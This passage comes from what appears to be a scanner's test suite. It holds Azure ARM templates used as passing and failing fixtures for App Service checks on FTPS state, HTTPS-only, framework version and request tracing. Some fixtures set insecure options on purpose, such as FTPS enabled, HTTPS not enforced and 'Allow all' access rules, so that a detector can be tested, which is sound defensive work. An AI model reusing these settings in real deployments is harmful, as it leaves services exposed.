\"1.2\",\n                \"ftpsState\": \"FtpsOnly\",\n                \"preWarmedInstanceCount\": 0,\n                \"elasticWebAppScaleLimit\": 0,\n                \"healthCheckPath\": \"/health\",\n                \"functionsRuntimeScaleMonitoringEnabled\": false,\n                \"minimumElasticInstanceCount\": 0,\n                \"azureStorageAccounts\": {\n                    \"shady\": {\n                        \"type\": \"AzureFiles\",\n                        \"accountName\": \"piketest\",\n                        \"shareName\": \"pike\",\n                        \"mountPath\": \"\\\\\\\\mounts\\\\shady\"\n                    }\n                }\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/hostNameBindings\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"siteName\": \"pike\",\n                \"hostNameType\": \"Verified\"\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceDotnetFrameworkVersion/passed.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"sites_pike_name\": {\n            \"defaultValue\": \"pike\",\n            \"type\": \"String\"\n        },\n        \"serverfarms_example_serviceplan_externalid\": {\n            \"defaultValue\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Web/sites\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[parameters('sites_pike_name')]\",\n            \"location\": \"UK South\",\n            \"kind\": \"app\",\n            \"identity\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"properties\": {\n                \"enabled\": true,\n                \"hostNameSslStates\": [\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Standard\"\n                    },\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Repository\"\n                    }\n                ],\n                \"serverFarmId\": \"[parameters('serverfarms_example_serviceplan_externalid')]\",\n                \"reserved\": false,\n                \"isXenon\": false,\n                \"hyperV\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetImagePullEnabled\": false,\n                \"vnetContentShareEnabled\": false,\n                \"siteConfig\": {\n                    \"numberOfWorkers\": 1,\n                    \"acrUseManagedIdentityCreds\": false,\n                    \"alwaysOn\": true,\n                    \"http20Enabled\": true,\n                    \"functionAppScaleLimit\": 0,\n                    \"minimumElasticInstanceCount\": 0\n                },\n                \"scmSiteAlsoStopped\": false,\n                \"clientAffinityEnabled\": false,\n                \"clientCertEnabled\": true,\n                \"clientCertMode\": \"Required\",\n                \"hostNamesDisabled\": false,\n                \"customDomainVerificationId\": \"B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5\",\n                \"containerSize\": 0,\n                \"dailyMemoryTimeQuota\": 0,\n                \"httpsOnly\": true,\n                \"redundancyMode\": \"None\",\n                \"publicNetworkAccess\": \"Enabled\",\n                \"storageAccountRequired\": false,\n                \"keyVaultReferenceIdentity\": \"SystemAssigned\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/ftp')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/scm')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/config\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"passed\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"numberOfWorkers\": 1,\n                \"defaultDocuments\": [\n                    \"Default.htm\",\n                    \"Default.html\",\n                    \"Default.asp\",\n                    \"index.htm\",\n                    \"index.html\",\n                    \"iisstart.htm\",\n                    \"default.aspx\",\n                    \"index.php\",\n                    \"hostingstart.html\"\n                ],\n                \"netFrameworkVersion\": \"v8.0\",\n                \"phpVersion\": \"5.6\",\n                \"requestTracingEnabled\": true,\n                \"requestTracingExpirationTime\": \"9999-12-31T23:59:00Z\",\n                \"remoteDebuggingEnabled\": false,\n                \"remoteDebuggingVersion\": \"VS2019\",\n                \"httpLoggingEnabled\": true,\n                \"acrUseManagedIdentityCreds\": false,\n                \"logsDirectorySizeLimit\": 25,\n                \"detailedErrorLoggingEnabled\": true,\n                \"publishingUsername\": \"$pike\",\n                \"scmType\": \"None\",\n                \"use32BitWorkerProcess\": true,\n                \"webSocketsEnabled\": false,\n                \"alwaysOn\": true,\n                \"managedPipelineMode\": \"Integrated\",\n                \"virtualApplications\": [\n                    {\n                        \"virtualPath\": \"/\",\n                        \"physicalPath\": \"site\\\\wwwroot\",\n                        \"preloadEnabled\": true\n                    }\n                ],\n                \"loadBalancing\": \"LeastRequests\",\n                \"experiments\": {\n                    \"rampUpRules\": []\n                },\n                \"autoHealEnabled\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetPrivatePortsCount\": 0,\n                \"publicNetworkAccess\": \"Enabled\",\n                \"localMySqlEnabled\": false,\n                \"managedServiceIdentityId\": 24556,\n                \"ipSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictionsUseMain\": false,\n                \"http20Enabled\": true,\n                \"minTlsVersion\": \"1.2\",\n                \"scmMinTlsVersion\": \"1.2\",\n                \"ftpsState\": \"FtpsOnly\",\n                \"preWarmedInstanceCount\": 0,\n                \"elasticWebAppScaleLimit\": 0,\n                \"healthCheckPath\": \"/health\",\n                \"functionsRuntimeScaleMonitoringEnabled\": false,\n                \"minimumElasticInstanceCount\": 0,\n                \"azureStorageAccounts\": {\n                    \"shady\": {\n                        \"type\": \"AzureFiles\",\n                        \"accountName\": \"piketest\",\n                        \"shareName\": \"pike\",\n                        \"mountPath\": \"\\\\\\\\mounts\\\\shady\"\n                    }\n                }\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/hostNameBindings\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"siteName\": \"pike\",\n                \"hostNameType\": \"Verified\"\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceEnabledFailedRequest/AppServiceEnableFailedRequest-failed.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"sites_pike_name\": {\n            \"defaultValue\": \"pike\",\n            \"type\": \"String\"\n        },\n        \"serverfarms_example_serviceplan_externalid\": {\n            \"defaultValue\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Web/sites\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[parameters('sites_pike_name')]\",\n            \"location\": \"UK South\",\n            \"kind\": \"app,linux\",\n            \"identity\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"properties\": {\n                \"enabled\": true,\n                \"hostNameSslStates\": [\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Standard\"\n                    },\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Repository\"\n                    }\n                ],\n                \"serverFarmId\": \"[parameters('serverfarms_example_serviceplan_externalid')]\",\n                \"reserved\": true,\n                \"isXenon\": false,\n                \"hyperV\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetImagePullEnabled\": false,\n                \"vnetContentShareEnabled\": false,\n                \"siteConfig\": {\n                    \"numberOfWorkers\": 1,\n                    \"acrUseManagedIdentityCreds\": false,\n                    \"alwaysOn\": false,\n                    \"http20Enabled\": true,\n                    \"functionAppScaleLimit\": 0,\n                    \"minimumElasticInstanceCount\": 0\n                },\n                \"scmSiteAlsoStopped\": false,\n                \"clientAffinityEnabled\": false,\n                \"clientCertEnabled\": true,\n                \"clientCertMode\": \"Required\",\n                \"hostNamesDisabled\": false,\n                \"customDomainVerificationId\": \"B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5\",\n                \"containerSize\": 0,\n                \"dailyMemoryTimeQuota\": 0,\n                \"httpsOnly\": true,\n                \"redundancyMode\": \"None\",\n                \"storageAccountRequired\": false,\n                \"keyVaultReferenceIdentity\": \"SystemAssigned\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/ftp')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/scm')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/config\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"failed\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"numberOfWorkers\": 1,\n                \"defaultDocuments\": [],\n                \"netFrameworkVersion\": \"v4.0\",\n                \"requestTracingEnabled\": false,\n                \"requestTracingExpirationTime\": \"9999-12-31T23:59:00Z\",\n                \"remoteDebuggingEnabled\": false,\n                \"remoteDebuggingVersion\": \"VS2019\",\n                \"httpLoggingEnabled\": true,\n                \"acrUseManagedIdentityCreds\": false,\n                \"logsDirectorySizeLimit\": 25,\n                \"detailedErrorLoggingEnabled\": true,\n                \"publishingUsername\": \"$pike\",\n                \"scmType\": \"None\",\n                \"use32BitWorkerProcess\": false,\n                \"webSocketsEnabled\": false,\n                \"alwaysOn\": false,\n                \"managedPipelineMode\": \"Integrated\",\n                \"virtualApplications\": [\n                    {\n                        \"virtualPath\": \"/\",\n                        \"physicalPath\": \"site\\\\wwwroot\",\n                        \"preloadEnabled\": false\n                    }\n                ],\n                \"loadBalancing\": \"LeastRequests\",\n                \"experiments\": {\n                    \"rampUpRules\": []\n                },\n                \"autoHealEnabled\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetPrivatePortsCount\": 0,\n                \"cors\": {\n                    \"supportCredentials\": false\n                },\n                \"localMySqlEnabled\": false,\n                \"managedServiceIdentityId\": 484,\n                \"ipSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictionsUseMain\": false,\n                \"http20Enabled\": true,\n                \"minTlsVersion\": \"1.2\",\n                \"scmMinTlsVersion\": \"1.2\",\n                \"ftpsState\": \"FtpsOnly\",\n                \"preWarmedInstanceCount\": 0,\n                \"elasticWebAppScaleLimit\": 0,\n                \"healthCheckPath\": \"/health\",\n                \"functionsRuntimeScaleMonitoringEnabled\": false,\n                \"minimumElasticInstanceCount\": 0,\n                \"azureStorageAccounts\": {\n                    \"shady\": {\n                        \"type\": \"AzureFiles\",\n                        \"accountName\": \"piketest\",\n                        \"shareName\": \"pike\",\n                        \"mountPath\": \"/mount/shady\"\n                    }\n                }\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/hostNameBindings\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"siteName\": \"pike\",\n                \"hostNameType\": \"Verified\"\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceEnabledFailedRequest/AppServiceEnableFailedRequest-passed.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"sites_pike_name\": {\n            \"defaultValue\": \"pike\",\n            \"type\": \"String\"\n        },\n        \"serverfarms_example_serviceplan_externalid\": {\n            \"defaultValue\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Web/sites\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[parameters('sites_pike_name')]\",\n            \"location\": \"UK South\",\n            \"kind\": \"app,linux\",\n            \"identity\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"properties\": {\n                \"enabled\": true,\n                \"hostNameSslStates\": [\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Standard\"\n                    },\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Repository\"\n                    }\n                ],\n                \"serverFarmId\": \"[parameters('serverfarms_example_serviceplan_externalid')]\",\n                \"reserved\": true,\n                \"isXenon\": false,\n                \"hyperV\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetImagePullEnabled\": false,\n                \"vnetContentShareEnabled\": false,\n                \"siteConfig\": {\n                    \"numberOfWorkers\": 1,\n                    \"acrUseManagedIdentityCreds\": false,\n                    \"alwaysOn\": false,\n                    \"http20Enabled\": true,\n                    \"functionAppScaleLimit\": 0,\n                    \"minimumElasticInstanceCount\": 0\n                },\n                \"scmSiteAlsoStopped\": false,\n                \"clientAffinityEnabled\": false,\n                \"clientCertEnabled\": true,\n                \"clientCertMode\": \"Required\",\n                \"hostNamesDisabled\": false,\n                \"customDomainVerificationId\": \"B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5\",\n                \"containerSize\": 0,\n                \"dailyMemoryTimeQuota\": 0,\n                \"httpsOnly\": true,\n                \"redundancyMode\": \"None\",\n                \"storageAccountRequired\": false,\n                \"keyVaultReferenceIdentity\": \"SystemAssigned\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/ftp')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/scm')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/config\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"passed\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"numberOfWorkers\": 1,\n                \"defaultDocuments\": [],\n                \"netFrameworkVersion\": \"v4.0\",\n                \"requestTracingEnabled\": true,\n                \"requestTracingExpirationTime\": \"9999-12-31T23:59:00Z\",\n                \"remoteDebuggingEnabled\": false,\n                \"remoteDebuggingVersion\": \"VS2019\",\n                \"httpLoggingEnabled\": true,\n                \"acrUseManagedIdentityCreds\": false,\n                \"logsDirectorySizeLimit\": 25,\n                \"detailedErrorLoggingEnabled\": true,\n                \"publishingUsername\": \"$pike\",\n                \"scmType\": \"None\",\n                \"use32BitWorkerProcess\": false,\n                \"webSocketsEnabled\": false,\n                \"alwaysOn\": false,\n                \"managedPipelineMode\": \"Integrated\",\n                \"virtualApplications\": [\n                    {\n                        \"virtualPath\": \"/\",\n                        \"physicalPath\": \"site\\\\wwwroot\",\n                        \"preloadEnabled\": false\n                    }\n                ],\n                \"loadBalancing\": \"LeastRequests\",\n                \"experiments\": {\n                    \"rampUpRules\": []\n                },\n                \"autoHealEnabled\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetPrivatePortsCount\": 0,\n                \"cors\": {\n                    \"supportCredentials\": false\n                },\n                \"localMySqlEnabled\": false,\n                \"managedServiceIdentityId\": 484,\n                \"ipSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictionsUseMain\": false,\n                \"http20Enabled\": true,\n                \"minTlsVersion\": \"1.2\",\n                \"scmMinTlsVersion\": \"1.2\",\n                \"ftpsState\": \"FtpsOnly\",\n                \"preWarmedInstanceCount\": 0,\n                \"elasticWebAppScaleLimit\": 0,\n                \"healthCheckPath\": \"/health\",\n                \"functionsRuntimeScaleMonitoringEnabled\": false,\n                \"minimumElasticInstanceCount\": 0,\n                \"azureStorageAccounts\": {\n                    \"shady\": {\n                        \"type\": \"AzureFiles\",\n                        \"accountName\": \"piketest\",\n                        \"shareName\": \"pike\",\n                        \"mountPath\": \"/mount/shady\"\n                    }\n                }\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/hostNameBindings\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"siteName\": \"pike\",\n                \"hostNameType\": \"Verified\"\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceFTPSState/fail.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Web/sites\",\n            \"apiVersion\": \"2021-02-01\",\n            \"name\": \"fail\",\n            \"properties\": {\n                \"publisherEmail\": \"[parameters('adminEmail')]\",\n                \"publisherName\": \"[parameters('organizationName')]\",\n                \"customProperties\": \"[parameters('customProperties')]\",\n                \"siteConfig\": {\n                    \"ftpsState\": \"Enabled\"\n                }\n            },\n            \"resources\": [],\n            \"dependsOn\": []\n        }\n    ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceFTPSState/fail2.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Web/sites\",\n            \"apiVersion\": \"2021-02-01\",\n            \"name\": \"fail2\",\n            \"properties\": {\n                \"publisherEmail\": \"[parameters('adminEmail')]\",\n                \"publisherName\": \"[parameters('organizationName')]\",\n                \"customProperties\": \"[parameters('customProperties')]\",\n                \"siteConfig\": {}\n            },\n            \"resources\": [],\n            \"dependsOn\": []\n        }\n    ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceFTPSState/fail3.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"fail3\",\n      \"properties\": {\n        \"publisherEmail\": \"[parameters('adminEmail')]\",\n        \"publisherName\": \"[parameters('organizationName')]\",\n        \"customProperties\": \"[parameters('customProperties')]\",\n        \"siteConfig\": {\n          \"ftpsState\": \"Enabled\",\n          \"appSettings\": [\n            {\n              \"name\": \"WEBSITE_NODE_DEFAULT_VERSION\",\n              \"value\": \"14.17.0\"\n            }\n          ]\n        },\n        \"linuxFxVersion\": \"NODE|14-lts\"\n      },\n      \"resources\": [],\n      \"dependsOn\": []\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceFTPSState/pass.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Web/sites\",\n            \"apiVersion\": \"2021-02-01\",\n            \"name\": \"pass\",\n            \"properties\": {\n                \"publisherEmail\": \"[parameters('adminEmail')]\",\n                \"publisherName\": \"[parameters('organizationName')]\",\n                \"customProperties\": \"[parameters('customProperties')]\",\n                \"siteConfig\": {\n                    \"ftpsState\": \"Disabled\"\n                }\n            },\n            \"resources\": [],\n            \"dependsOn\": []\n        }\n    ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceFTPSState/pass2.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Web/sites\",\n            \"apiVersion\": \"2021-02-01\",\n            \"name\": \"pass2\",\n            \"properties\": {\n                \"publisherEmail\": \"[parameters('adminEmail')]\",\n                \"publisherName\": \"[parameters('organizationName')]\",\n                \"customProperties\": \"[parameters('customProperties')]\",\n                \"siteConfig\": {\n                    \"ftpsState\": \"FtpsOnly\"\n                }\n            },\n            \"resources\": [],\n            \"dependsOn\": []\n        }\n    ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceFTPSState/pass3.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Web/sites\",\n            \"apiVersion\": \"2021-02-01\",\n            \"name\": \"pass3\",\n            \"properties\": {\n                \"publisherEmail\": \"[parameters('adminEmail')]\",\n                \"publisherName\": \"[parameters('organizationName')]\",\n                \"customProperties\": \"[parameters('customProperties')]\",\n                \"siteConfig\": {\n                    \"ftpsState\": \"Disabled\",\n                    \"appSettings\": [\n                        {\n                            \"name\": \"WEBSITE_NODE_DEFAULT_VERSION\",\n                            \"value\": \"14.17.0\"\n                        }\n                    ]\n                },\n                \"linuxFxVersion\": \"NODE|14-lts\"\n            },\n            \"resources\": [],\n            \"dependsOn\": []\n        }\n    ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceHTTPSOnly/appServiceHTTPSOnly-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('webAppPortalName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\"\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceHTTPSOnly/appServiceHTTPSOnly-FAILED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('webAppPortalName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', 